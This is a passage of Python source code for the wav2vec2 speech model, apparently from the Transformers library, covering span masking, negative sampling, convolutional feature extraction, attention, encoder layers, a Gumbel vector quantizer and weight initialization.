bigger than 0.\")\n\n if mask_length > sequence_length:\n raise ValueError(\n f\"`mask_length` has to be smaller than `sequence_length`, but got `mask_length`: {mask_length} and `sequence_length`: {sequence_length}`\"\n )\n\n epsilon = np.random.rand(1).item()\n\n def compute_num_masked_span(input_length):\n \"\"\"Given input length, compute how many spans should be masked\"\"\"\n num_masked_span = int(mask_prob * input_length / mask_length + epsilon)\n num_masked_span = max(num_masked_span, min_masks)\n\n # make sure num masked indices <= sequence_length\n if num_masked_span * mask_length > sequence_length:\n num_masked_span = sequence_length // mask_length\n\n return num_masked_span\n\n # compute number of masked spans in batch\n input_lengths = (\n attention_mask.sum(-1).detach().tolist()\n if attention_mask is not None\n else [sequence_length for _ in range(batch_size)]\n )\n\n # SpecAugment mask to fill\n spec_aug_mask = np.zeros((batch_size, sequence_length), dtype=np.bool)\n spec_aug_mask_idxs = []\n\n max_num_masked_span = compute_num_masked_span(sequence_length)\n\n for input_length in input_lengths:\n # compute num of masked spans for this input\n num_masked_span = compute_num_masked_span(input_length)\n # get random indices to mask\n spec_aug_mask_idx = np.random.choice(\n np.arange(input_length - (mask_length - 1)), num_masked_span, replace=False\n )\n\n # pick first sampled index that will serve as a dummy index to pad vector\n dummy_mask_idx = spec_aug_mask_idx[0]\n\n spec_aug_mask_idx = np.concatenate(\n [spec_aug_mask_idx, np.ones(max_num_masked_span - num_masked_span, dtype=np.int32) * dummy_mask_idx]\n )\n spec_aug_mask_idxs.append(spec_aug_mask_idx)\n\n spec_aug_mask_idxs = np.array(spec_aug_mask_idxs)\n\n # expand masked indices to masked spans\n spec_aug_mask_idxs = np.broadcast_to(\n spec_aug_mask_idxs[:, :, None], (batch_size, max_num_masked_span, mask_length)\n )\n spec_aug_mask_idxs = spec_aug_mask_idxs.reshape(batch_size, max_num_masked_span * mask_length)\n\n offsets = np.arange(mask_length)[None, None, :]\n offsets = np.broadcast_to(offsets, (batch_size, max_num_masked_span, mask_length)).reshape(\n batch_size, max_num_masked_span * mask_length\n )\n spec_aug_mask_idxs = spec_aug_mask_idxs + offsets\n\n # scatter indices to mask\n np.put_along_axis(spec_aug_mask, spec_aug_mask_idxs, 1, -1)\n\n return spec_aug_mask\n\n\ndef _sample_negative_indices(\n features_shape: Tuple, num_negatives: int, mask_time_indices: Optional[np.ndarray] = None\n):\n \"\"\"\n Sample `num_negatives` vectors from feature vectors.\n \"\"\"\n batch_size, sequence_length = features_shape\n\n # generate indices of the positive vectors themselves, repeat them `num_negatives` times\n sequence_length_range = np.arange(sequence_length)\n\n # get `num_negatives` random vector indices from the same utterance\n sampled_negative_indices = np.zeros(shape=(batch_size, sequence_length, num_negatives), dtype=np.int32)\n\n mask_time_indices = (\n mask_time_indices.astype(np.bool) if mask_time_indices is not None else np.ones(features_shape, dtype=np.bool)\n )\n\n for batch_idx in range(batch_size):\n high = mask_time_indices[batch_idx].sum() - 1\n mapped_masked_indices = sequence_length_range[mask_time_indices[batch_idx]]\n\n feature_indices = np.broadcast_to(np.arange(high + 1)[:, None], (high + 1, num_negatives))\n sampled_indices = np.random.randint(0, high, size=(high + 1, num_negatives))\n # avoid sampling the same positive vector, but keep the distribution uniform\n sampled_indices[sampled_indices >= feature_indices] += 1\n\n # remap to actual indices\n sampled_negative_indices[batch_idx][mask_time_indices[batch_idx]] = mapped_masked_indices[sampled_indices]\n\n # correct for batch size\n sampled_negative_indices[batch_idx] += batch_idx * sequence_length\n\n return sampled_negative_indices\n\n\nclass Wav2Vec2NoLayerNormConvLayer(nn.Module):\n def __init__(self, config, layer_id=0):\n super().__init__()\n self.in_conv_dim = config.conv_dim[layer_id - 1] if layer_id > 0 else 1\n self.out_conv_dim = config.conv_dim[layer_id]\n\n self.conv = nn.Conv1d(\n self.in_conv_dim,\n self.out_conv_dim,\n kernel_size=config.conv_kernel[layer_id],\n stride=config.conv_stride[layer_id],\n bias=config.conv_bias,\n )\n self.activation = ACT2FN[config.feat_extract_activation]\n\n def forward(self, hidden_states):\n hidden_states = self.conv(hidden_states)\n hidden_states = self.activation(hidden_states)\n return hidden_states\n\n\nclass Wav2Vec2LayerNormConvLayer(nn.Module):\n def __init__(self, config, layer_id=0):\n super().__init__()\n self.in_conv_dim = config.conv_dim[layer_id - 1] if layer_id > 0 else 1\n self.out_conv_dim = config.conv_dim[layer_id]\n\n self.conv = nn.Conv1d(\n self.in_conv_dim,\n self.out_conv_dim,\n kernel_size=config.conv_kernel[layer_id],\n stride=config.conv_stride[layer_id],\n bias=config.conv_bias,\n )\n self.layer_norm = nn.LayerNorm(self.out_conv_dim, elementwise_affine=True)\n self.activation = ACT2FN[config.feat_extract_activation]\n\n def forward(self, hidden_states):\n hidden_states = self.conv(hidden_states)\n\n hidden_states = hidden_states.transpose(-2, -1)\n hidden_states = self.layer_norm(hidden_states)\n hidden_states = hidden_states.transpose(-2, -1)\n\n hidden_states = self.activation(hidden_states)\n return hidden_states\n\n\nclass Wav2Vec2GroupNormConvLayer(nn.Module):\n def __init__(self, config, layer_id=0):\n super().__init__()\n self.in_conv_dim = config.conv_dim[layer_id - 1] if layer_id > 0 else 1\n self.out_conv_dim = config.conv_dim[layer_id]\n\n self.conv = nn.Conv1d(\n self.in_conv_dim,\n self.out_conv_dim,\n kernel_size=config.conv_kernel[layer_id],\n stride=config.conv_stride[layer_id],\n bias=config.conv_bias,\n )\n self.activation = ACT2FN[config.feat_extract_activation]\n\n self.layer_norm = nn.GroupNorm(num_groups=self.out_conv_dim, num_channels=self.out_conv_dim, affine=True)\n\n def forward(self, hidden_states):\n hidden_states = self.conv(hidden_states)\n hidden_states = self.layer_norm(hidden_states)\n hidden_states = self.activation(hidden_states)\n return hidden_states\n\n\nclass Wav2Vec2PositionalConvEmbedding(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.conv = nn.Conv1d(\n config.hidden_size,\n config.hidden_size,\n kernel_size=config.num_conv_pos_embeddings,\n padding=config.num_conv_pos_embeddings // 2,\n groups=config.num_conv_pos_embedding_groups,\n )\n\n if is_deepspeed_zero3_enabled():\n import deepspeed\n\n with deepspeed.zero.GatheredParameters(self.conv.weight, modifier_rank=0):\n self.conv = nn.utils.weight_norm(self.conv, name=\"weight\", dim=2)\n deepspeed.zero.register_external_parameter(self, self.conv.weight_v)\n deepspeed.zero.register_external_parameter(self, self.conv.weight_g)\n else:\n self.conv = nn.utils.weight_norm(self.conv, name=\"weight\", dim=2)\n\n self.padding = Wav2Vec2SamePadLayer(config.num_conv_pos_embeddings)\n self.activation = ACT2FN[config.feat_extract_activation]\n\n def forward(self, hidden_states):\n hidden_states = hidden_states.transpose(1, 2)\n\n hidden_states = self.conv(hidden_states)\n hidden_states = self.padding(hidden_states)\n hidden_states = self.activation(hidden_states)\n\n hidden_states = hidden_states.transpose(1, 2)\n return hidden_states\n\n\nclass Wav2Vec2SamePadLayer(nn.Module):\n def __init__(self, num_conv_pos_embeddings):\n super().__init__()\n self.num_pad_remove = 1 if num_conv_pos_embeddings % 2 == 0 else 0\n\n def forward(self, hidden_states):\n if self.num_pad_remove > 0:\n hidden_states = hidden_states[:, :, : -self.num_pad_remove]\n return hidden_states\n\n\nclass Wav2Vec2FeatureExtractor(nn.Module):\n \"\"\"Construct the features from raw audio waveform\"\"\"\n\n def __init__(self, config):\n super().__init__()\n\n if config.feat_extract_norm == \"group\":\n conv_layers = [Wav2Vec2GroupNormConvLayer(config, layer_id=0)] + [\n Wav2Vec2NoLayerNormConvLayer(config, layer_id=i + 1) for i in range(config.num_feat_extract_layers - 1)\n ]\n elif config.feat_extract_norm == \"layer\":\n conv_layers = [\n Wav2Vec2LayerNormConvLayer(config, layer_id=i) for i in range(config.num_feat_extract_layers)\n ]\n else:\n raise ValueError(\n f\"`config.feat_extract_norm` is {config.feat_extract_norm}, but has to be one of ['group', 'layer']\"\n )\n self.conv_layers = nn.ModuleList(conv_layers)\n self.gradient_checkpointing = False\n\n def _freeze_parameters(self):\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, input_values):\n hidden_states = input_values[:, None]\n\n # make sure hidden_states require grad for gradient_checkpointing\n if self.training:\n hidden_states.requires_grad = True\n\n for conv_layer in self.conv_layers:\n if self.gradient_checkpointing and self.training:\n\n def create_custom_forward(module):\n def custom_forward(*inputs):\n return module(*inputs)\n\n return custom_forward\n\n hidden_states = torch.utils.checkpoint.checkpoint(\n create_custom_forward(conv_layer),\n hidden_states,\n )\n else:\n hidden_states = conv_layer(hidden_states)\n\n return hidden_states\n\n\nclass Wav2Vec2FeatureProjection(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.layer_norm = nn.LayerNorm(config.conv_dim[-1], eps=config.layer_norm_eps)\n self.projection = nn.Linear(config.conv_dim[-1], config.hidden_size)\n self.dropout = nn.Dropout(config.feat_proj_dropout)\n\n def forward(self, hidden_states):\n # non-projected hidden states are needed for quantization\n norm_hidden_states = self.layer_norm(hidden_states)\n hidden_states = self.projection(norm_hidden_states)\n hidden_states = self.dropout(hidden_states)\n return hidden_states, norm_hidden_states\n\n\n# Copied from transformers.models.bart.modeling_bart.BartAttention with Bart->Wav2Vec2\nclass Wav2Vec2Attention(nn.Module):\n \"\"\"Multi-headed attention from 'Attention Is All You Need' paper\"\"\"\n\n def __init__(\n self,\n embed_dim: int,\n num_heads: int,\n dropout: float = 0.0,\n is_decoder: bool = False,\n bias: bool = True,\n ):\n super().__init__()\n self.embed_dim = embed_dim\n self.num_heads = num_heads\n self.dropout = dropout\n self.head_dim = embed_dim // num_heads\n assert (\n self.head_dim * num_heads == self.embed_dim\n ), f\"embed_dim must be divisible by num_heads (got `embed_dim`: {self.embed_dim} and `num_heads`: {num_heads}).\"\n self.scaling = self.head_dim ** -0.5\n self.is_decoder = is_decoder\n\n self.k_proj = nn.Linear(embed_dim, embed_dim, bias=bias)\n self.v_proj = nn.Linear(embed_dim, embed_dim, bias=bias)\n self.q_proj = nn.Linear(embed_dim, embed_dim, bias=bias)\n self.out_proj = nn.Linear(embed_dim, embed_dim, bias=bias)\n\n def _shape(self, tensor: torch.Tensor, seq_len: int, bsz: int):\n return tensor.view(bsz, seq_len, self.num_heads, self.head_dim).transpose(1, 2).contiguous()\n\n def forward(\n self,\n hidden_states: torch.Tensor,\n key_value_states: Optional[torch.Tensor] = None,\n past_key_value: Optional[Tuple[torch.Tensor]] = None,\n attention_mask: Optional[torch.Tensor] = None,\n layer_head_mask: Optional[torch.Tensor] = None,\n output_attentions: bool = False,\n ) -> Tuple[torch.Tensor, Optional[torch.Tensor], Optional[Tuple[torch.Tensor]]]:\n \"\"\"Input shape: Batch x Time x Channel\"\"\"\n\n # if key_value_states are provided this layer is used as a cross-attention layer\n # for the decoder\n is_cross_attention = key_value_states is not None\n bsz, tgt_len, embed_dim = hidden_states.size()\n\n # get query proj\n query_states = self.q_proj(hidden_states) * self.scaling\n # get key, value proj\n if is_cross_attention and past_key_value is not None:\n # reuse k,v, cross_attentions\n key_states = past_key_value[0]\n value_states = past_key_value[1]\n elif is_cross_attention:\n # cross_attentions\n key_states = self._shape(self.k_proj(key_value_states), -1, bsz)\n value_states = self._shape(self.v_proj(key_value_states), -1, bsz)\n elif past_key_value is not None:\n # reuse k, v, self_attention\n key_states = self._shape(self.k_proj(hidden_states), -1, bsz)\n value_states = self._shape(self.v_proj(hidden_states), -1, bsz)\n key_states = torch.cat([past_key_value[0], key_states], dim=2)\n value_states = torch.cat([past_key_value[1], value_states], dim=2)\n else:\n # self_attention\n key_states = self._shape(self.k_proj(hidden_states), -1, bsz)\n value_states = self._shape(self.v_proj(hidden_states), -1, bsz)\n\n if self.is_decoder:\n # if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.\n # Further calls to cross_attention layer can then reuse all cross-attention\n # key/value_states (first \"if\" case)\n # if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of\n # all previous decoder key/value_states. Further calls to uni-directional self-attention\n # can concat previous decoder key/value_states to current projected key/value_states (third \"elif\" case)\n # if encoder bi-directional self-attention `past_key_value` is always `None`\n past_key_value = (key_states, value_states)\n\n proj_shape = (bsz * self.num_heads, -1, self.head_dim)\n query_states = self._shape(query_states, tgt_len, bsz).view(*proj_shape)\n key_states = key_states.view(*proj_shape)\n value_states = value_states.view(*proj_shape)\n\n src_len = key_states.size(1)\n attn_weights = torch.bmm(query_states, key_states.transpose(1, 2))\n\n if attn_weights.size() != (bsz * self.num_heads, tgt_len, src_len):\n raise ValueError(\n f\"Attention weights should be of size {(bsz * self.num_heads, tgt_len, src_len)}, but is {attn_weights.size()}\"\n )\n\n if attention_mask is not None:\n if attention_mask.size() != (bsz, 1, tgt_len, src_len):\n raise ValueError(\n f\"Attention mask should be of size {(bsz, 1, tgt_len, src_len)}, but is {attention_mask.size()}\"\n )\n attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) + attention_mask\n attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)\n\n attn_weights = nn.functional.softmax(attn_weights, dim=-1)\n\n if layer_head_mask is not None:\n if layer_head_mask.size() != (self.num_heads,):\n raise ValueError(\n f\"Head mask for a single layer should be of size {(self.num_heads,)}, but is {layer_head_mask.size()}\"\n )\n attn_weights = layer_head_mask.view(1, -1, 1, 1) * attn_weights.view(bsz, self.num_heads, tgt_len, src_len)\n attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)\n\n if output_attentions:\n # this operation is a bit awkward, but it's required to\n # make sure that attn_weights keeps its gradient.\n # In order to do so, attn_weights have to be reshaped\n # twice and have to be reused in the following\n attn_weights_reshaped = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)\n attn_weights = attn_weights_reshaped.view(bsz * self.num_heads, tgt_len, src_len)\n else:\n attn_weights_reshaped = None\n\n attn_probs = nn.functional.dropout(attn_weights, p=self.dropout, training=self.training)\n\n attn_output = torch.bmm(attn_probs, value_states)\n\n if attn_output.size() != (bsz * self.num_heads, tgt_len, self.head_dim):\n raise ValueError(\n f\"`attn_output` should be of size {(bsz, self.num_heads, tgt_len, self.head_dim)}, but is {attn_output.size()}\"\n )\n\n attn_output = attn_output.view(bsz, self.num_heads, tgt_len, self.head_dim)\n attn_output = attn_output.transpose(1, 2)\n attn_output = attn_output.reshape(bsz, tgt_len, embed_dim)\n\n attn_output = self.out_proj(attn_output)\n\n return attn_output, attn_weights_reshaped, past_key_value\n\n\nclass Wav2Vec2FeedForward(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.intermediate_dropout = nn.Dropout(config.activation_dropout)\n\n self.intermediate_dense = nn.Linear(config.hidden_size, config.intermediate_size)\n if isinstance(config.hidden_act, str):\n self.intermediate_act_fn = ACT2FN[config.hidden_act]\n else:\n self.intermediate_act_fn = config.hidden_act\n\n self.output_dense = nn.Linear(config.intermediate_size, config.hidden_size)\n self.output_dropout = nn.Dropout(config.hidden_dropout)\n\n def forward(self, hidden_states):\n hidden_states = self.intermediate_dense(hidden_states)\n hidden_states = self.intermediate_act_fn(hidden_states)\n hidden_states = self.intermediate_dropout(hidden_states)\n\n hidden_states = self.output_dense(hidden_states)\n hidden_states = self.output_dropout(hidden_states)\n return hidden_states\n\n\nclass Wav2Vec2EncoderLayer(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.attention = Wav2Vec2Attention(\n embed_dim=config.hidden_size,\n num_heads=config.num_attention_heads,\n dropout=config.attention_dropout,\n is_decoder=False,\n )\n self.dropout = nn.Dropout(config.hidden_dropout)\n self.layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.feed_forward = Wav2Vec2FeedForward(config)\n self.final_layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n\n def forward(self, hidden_states, attention_mask=None, output_attentions=False):\n attn_residual = hidden_states\n hidden_states, attn_weights, _ = self.attention(\n hidden_states, attention_mask=attention_mask, output_attentions=output_attentions\n )\n hidden_states = self.dropout(hidden_states)\n hidden_states = attn_residual + hidden_states\n\n hidden_states = self.layer_norm(hidden_states)\n hidden_states = hidden_states + self.feed_forward(hidden_states)\n hidden_states = self.final_layer_norm(hidden_states)\n\n outputs = (hidden_states,)\n\n if output_attentions:\n outputs += (attn_weights,)\n\n return outputs\n\n\nclass Wav2Vec2EncoderLayerStableLayerNorm(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.attention = Wav2Vec2Attention(\n embed_dim=config.hidden_size,\n num_heads=config.num_attention_heads,\n dropout=config.attention_dropout,\n is_decoder=False,\n )\n self.dropout = nn.Dropout(config.hidden_dropout)\n self.layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.feed_forward = Wav2Vec2FeedForward(config)\n self.final_layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n\n def forward(self, hidden_states, attention_mask=None, output_attentions=False):\n attn_residual = hidden_states\n hidden_states = self.layer_norm(hidden_states)\n hidden_states, attn_weights, _ = self.attention(\n hidden_states, attention_mask=attention_mask, output_attentions=output_attentions\n )\n hidden_states = self.dropout(hidden_states)\n hidden_states = attn_residual + hidden_states\n hidden_states = hidden_states + self.feed_forward(self.final_layer_norm(hidden_states))\n\n outputs = (hidden_states,)\n\n if output_attentions:\n outputs += (attn_weights,)\n\n return outputs\n\n\nclass Wav2Vec2Encoder(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.config = config\n self.pos_conv_embed = Wav2Vec2PositionalConvEmbedding(config)\n self.layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.dropout = nn.Dropout(config.hidden_dropout)\n self.layers = nn.ModuleList([Wav2Vec2EncoderLayer(config) for _ in range(config.num_hidden_layers)])\n self.gradient_checkpointing = False\n\n def forward(\n self,\n hidden_states,\n attention_mask=None,\n output_attentions=False,\n output_hidden_states=False,\n return_dict=True,\n ):\n all_hidden_states = () if output_hidden_states else None\n all_self_attentions = () if output_attentions else None\n\n if attention_mask is not None:\n # make sure padded tokens output 0\n hidden_states[~attention_mask] = 0.0\n\n # extend attention_mask\n attention_mask = (1.0 - attention_mask[:, None, None, :].to(dtype=hidden_states.dtype)) * -10000.0\n attention_mask = attention_mask.expand(\n attention_mask.shape[0], 1, attention_mask.shape[-1], attention_mask.shape[-1]\n )\n\n position_embeddings = self.pos_conv_embed(hidden_states)\n hidden_states = hidden_states + position_embeddings\n hidden_states = self.layer_norm(hidden_states)\n hidden_states = self.dropout(hidden_states)\n\n deepspeed_zero3_is_enabled = is_deepspeed_zero3_enabled()\n\n for layer in self.layers:\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n # add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)\n dropout_probability = np.random.uniform(0, 1)\n\n skip_the_layer = True if self.training and (dropout_probability < self.config.layerdrop) else False\n if not skip_the_layer or deepspeed_zero3_is_enabled:\n # under deepspeed zero3 all gpus must run in sync\n if self.gradient_checkpointing and self.training:\n # create gradient checkpointing function\n def create_custom_forward(module):\n def custom_forward(*inputs):\n return module(*inputs, output_attentions)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(layer),\n hidden_states,\n attention_mask,\n )\n else:\n layer_outputs = layer(\n hidden_states, attention_mask=attention_mask, output_attentions=output_attentions\n )\n hidden_states = layer_outputs[0]\n\n if skip_the_layer:\n layer_outputs = (None, None)\n\n if output_attentions:\n all_self_attentions = all_self_attentions + (layer_outputs[1],)\n\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n if not return_dict:\n return tuple(v for v in [hidden_states, all_hidden_states, all_self_attentions] if v is not None)\n return BaseModelOutput(\n last_hidden_state=hidden_states,\n hidden_states=all_hidden_states,\n attentions=all_self_attentions,\n )\n\n\nclass Wav2Vec2EncoderStableLayerNorm(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.config = config\n self.pos_conv_embed = Wav2Vec2PositionalConvEmbedding(config)\n self.layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.dropout = nn.Dropout(config.hidden_dropout)\n self.layers = nn.ModuleList(\n [Wav2Vec2EncoderLayerStableLayerNorm(config) for _ in range(config.num_hidden_layers)]\n )\n self.gradient_checkpointing = False\n\n def forward(\n self,\n hidden_states,\n attention_mask=None,\n output_attentions=False,\n output_hidden_states=False,\n return_dict=True,\n ):\n all_hidden_states = () if output_hidden_states else None\n all_self_attentions = () if output_attentions else None\n\n if attention_mask is not None:\n # make sure padded tokens are not attended to\n hidden_states[~attention_mask] = 0\n\n # extend attention_mask\n attention_mask = (1.0 - attention_mask[:, None, None, :].to(dtype=hidden_states.dtype)) * -10000.0\n attention_mask = attention_mask.expand(\n attention_mask.shape[0], 1, attention_mask.shape[-1], attention_mask.shape[-1]\n )\n\n position_embeddings = self.pos_conv_embed(hidden_states)\n hidden_states = hidden_states + position_embeddings\n hidden_states = self.dropout(hidden_states)\n\n deepspeed_zero3_is_enabled = is_deepspeed_zero3_enabled()\n\n for layer in self.layers:\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n # add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)\n dropout_probability = np.random.uniform(0, 1)\n\n skip_the_layer = True if self.training and (dropout_probability < self.config.layerdrop) else False\n if not skip_the_layer or deepspeed_zero3_is_enabled:\n # under deepspeed zero3 all gpus must run in sync\n # XXX: could optimize this like synced_gpus in generate_utils but not sure if it's worth the code complication\n if self.gradient_checkpointing and self.training:\n # create gradient checkpointing function\n def create_custom_forward(module):\n def custom_forward(*inputs):\n return module(*inputs, output_attentions)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(layer),\n hidden_states,\n attention_mask,\n )\n else:\n layer_outputs = layer(\n hidden_states, attention_mask=attention_mask, output_attentions=output_attentions\n )\n hidden_states = layer_outputs[0]\n\n if skip_the_layer:\n layer_outputs = (None, None)\n\n if output_attentions:\n all_self_attentions = all_self_attentions + (layer_outputs[1],)\n\n hidden_states = self.layer_norm(hidden_states)\n\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n if not return_dict:\n return tuple(v for v in [hidden_states, all_hidden_states, all_self_attentions] if v is not None)\n return BaseModelOutput(\n last_hidden_state=hidden_states,\n hidden_states=all_hidden_states,\n attentions=all_self_attentions,\n )\n\n\nclass Wav2Vec2GumbelVectorQuantizer(nn.Module):\n \"\"\"\n Vector quantization using gumbel softmax. See `CATEGORICAL REPARAMETERIZATION WITH GUMBEL-SOFTMAX\n <https://arxiv.org/pdf/1611.01144.pdf>`__ for more information.\n \"\"\"\n\n def __init__(self, config):\n super().__init__()\n self.num_groups = config.num_codevector_groups\n self.num_vars = config.num_codevectors_per_group\n\n assert (\n config.codevector_dim % self.num_groups == 0\n ), f\"`config.codevector_dim {config.codevector_dim} must be divisible by `config.num_codevector_groups` {self.num_groups} for concatenation\"\n\n # storage for codebook variables (codewords)\n self.codevectors = nn.Parameter(\n torch.FloatTensor(1, self.num_groups * self.num_vars, config.codevector_dim // self.num_groups)\n )\n self.weight_proj = nn.Linear(config.conv_dim[-1], self.num_groups * self.num_vars)\n\n # can be decayed for training\n self.temperature = 2\n\n def set_temperature(self, temperature: int):\n self.temperature = temperature\n\n @staticmethod\n def _compute_perplexity(probs, mask=None):\n if mask is not None:\n mask_extended = mask.flatten()[:, None, None].expand(probs.shape)\n probs = torch.where(mask_extended, probs, torch.zeros_like(probs))\n marginal_probs = probs.sum(dim=0) / mask.sum()\n else:\n marginal_probs = probs.mean(dim=0)\n\n perplexity = torch.exp(-torch.sum(marginal_probs * torch.log(marginal_probs + 1e-7), dim=-1)).sum()\n return perplexity\n\n def forward(self, hidden_states, mask_time_indices=None):\n batch_size, sequence_length, hidden_size = hidden_states.shape\n\n # project to codevector dim\n hidden_states = self.weight_proj(hidden_states)\n hidden_states = hidden_states.view(batch_size * sequence_length * self.num_groups, -1)\n\n if self.training:\n # sample code vector probs via gumbel in differentiateable way\n codevector_probs = nn.functional.gumbel_softmax(\n hidden_states.float(), tau=self.temperature, hard=True\n ).type_as(hidden_states)\n\n # compute perplexity\n codevector_soft_dist = torch.softmax(\n hidden_states.view(batch_size * sequence_length, self.num_groups, -1).float(), dim=-1\n )\n perplexity = self._compute_perplexity(codevector_soft_dist, mask_time_indices)\n else:\n # take argmax in non-differentiable way\n # comptute hard codevector distribution (one hot)\n codevector_idx = hidden_states.argmax(dim=-1)\n codevector_probs = hidden_states.new_zeros(*hidden_states.shape).scatter_(\n -1, codevector_idx.view(-1, 1), 1.0\n )\n codevector_probs = codevector_probs.view(batch_size * sequence_length, self.num_groups, -1)\n\n perplexity = self._compute_perplexity(codevector_probs, mask_time_indices)\n\n codevector_probs = codevector_probs.view(batch_size * sequence_length, -1)\n # use probs to retrieve codevectors\n codevectors_per_group = codevector_probs.unsqueeze(-1) * self.codevectors\n codevectors = (\n codevectors_per_group.view(batch_size * sequence_length, self.num_groups, self.num_vars, -1)\n .sum(-2)\n .view(batch_size, sequence_length, -1)\n )\n\n return codevectors, perplexity\n\n\nclass Wav2Vec2PreTrainedModel(PreTrainedModel):\n \"\"\"\n An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained\n models.\n \"\"\"\n\n config_class = Wav2Vec2Config\n base_model_prefix = \"wav2vec2\"\n _keys_to_ignore_on_load_missing = [r\"position_ids\"]\n supports_gradient_checkpointing = True\n\n def _init_weights(self, module):\n \"\"\"Initialize the weights\"\"\"\n # gumbel softmax requires special init\n if isinstance(module, Wav2Vec2GumbelVectorQuantizer):\n module.weight_proj.weight.data.normal_(mean=0.0, std=1)\n module.weight_proj.bias.data.zero_()\n nn.init.uniform_(module.codevectors)\n elif isinstance(module, Wav2Vec2PositionalConvEmbedding):\n nn.init.normal_(\n module.conv.weight,\n mean=0,\n std=2 * math.sqrt(1 / (module.conv.kernel_size[0] * module.conv.in_channels)),\n )\n nn.init.constant_(module.conv.bias, 0)\n elif isinstance(module, Wav2Vec2FeatureProjection):\n k = math.sqrt(1 / module.projection.in_features)\n nn.init.uniform_(module.projection.weight, a=-k, b=k)\n nn.init.uniform_(module.projection.bias, a=-k, b=k)\n elif isinstance(module, nn.Linear):\n module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)\n\n if module.bias is not None:\n module.bias.data.zero_()\n elif isinstance(module, (nn.LayerNorm, nn.GroupNorm)):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n elif isinstance(module, nn.Conv1d):\n nn.init.kaiming_normal_(module.weight)\n\n if module.bias is not None:\n k = math.sqrt(module.groups / (module.in_channels * module.kernel_size[0]))\n nn.init.uniform_(module.bias, a=-k, b=k)\n\n def _get_feat_extract_output_lengths(self, input_lengths: Union[torch.LongTensor, int]):\n \"\"\"\n Computes the output length of the convolutional layers\n \"\"\"\n\n def _conv_out_length(input_length, kernel_size, stride):\n # 1D convolutional layer output length formula taken\n # from https://pytorch.org/docs/stable/generated/torch.nn.Conv1d.html\n return (input_length - kernel_size) // stride + 1\n\n for kernel_size, stride in zip(self.config.conv_kernel, self.config.conv_stride):\n input_lengths = _conv_out_length(input_lengths, kernel_size, stride)\n\n return input_lengths\n\n def _get_feature_vector_attention_mask(self, feature_vector_length: int, attention_mask: torch.LongTensor):\n output_lengths = self._get_feat_extract_output_lengths(attention_mask.sum(-1)).to(torch.long)\n batch_size = attention_mask.shape[0]\n\n attention_mask = torch.zeros(\n (batch_size, feature_vector_length), dtype=attention_mask.dtype, device=attention_mask.device\n )\n # these two operations makes sure that all values before the output lengths idxs are attended to\n attention_mask[(torch.arange(attention_mask.shape[0], device=attention_mask.device), output_lengths - 1)] = 1\n attention_mask = attention_mask.flip([-1]).cumsum(-1).flip([-1]).bool()\n return attention_mask\n\n def _set_gradient_checkpointing(self, module, value=False):\n if isinstance(module, (Wav2Vec2Encoder, Wav2Vec2EncoderStableLayerNorm, Wav2Vec2FeatureExtractor)):\n module.gradient_checkpointing = value\n\n\nWAV_2_VEC_2_START_DOCSTRING = r\"\"\"\n Wav2Vec2 was proposed in `wav2vec 2.0: A Framework for Self-Supervised Learning of Speech Representations\n <https://arxiv.org/abs/2006.11477>`__ by Alexei Baevski, Henry Zhou, Abdelrahman Mohamed, Michael Auli.\n\n This model inherits from :class:`~transformers.PreTrainedModel`. Check the superclass documentation for the generic\n methods the library implements for all its model (such as downloading or saving etc.).\n\n This model is a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`_ sub-class. Use\n it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and\n behavior.\n\n Parameters:\n config (:class:`~transformers.Wav2Vec2Config`): Model configuration class with all the parameters of the model.\n Initializing with a config file does not load the weights associated with the model, only the\n configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model\n weights.\n\"\"\"\n\n\nWAV_2_VEC_2_INPUTS_DOCSTRING = r\"\"\"\n Args:\n input_values (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`):\n Float values of input raw speech waveform. Values can be obtained by loading a `.flac` or `.wav` audio file\n into an array of type `List[float]` or a `numpy.ndarray`, *e.g.* via the soundfile library (`pip install\n soundfile`). To prepare the array into `input_values`, the :class:`~transformers.Wav2Vec2Processor` should\n be used for padding and conversion into a tensor of type `torch.FloatTensor`. See\n :meth:`transformers.Wav2Vec2Processor.__call__` for details.\n attention_mask (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Mask to avoid performing convolution and attention on padding token indices. Mask values selected in ``[0,\n 1]``:\n\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n\n `What are attention masks? <../glossary.html#attention-mask>`__\n\n .. warning::\n 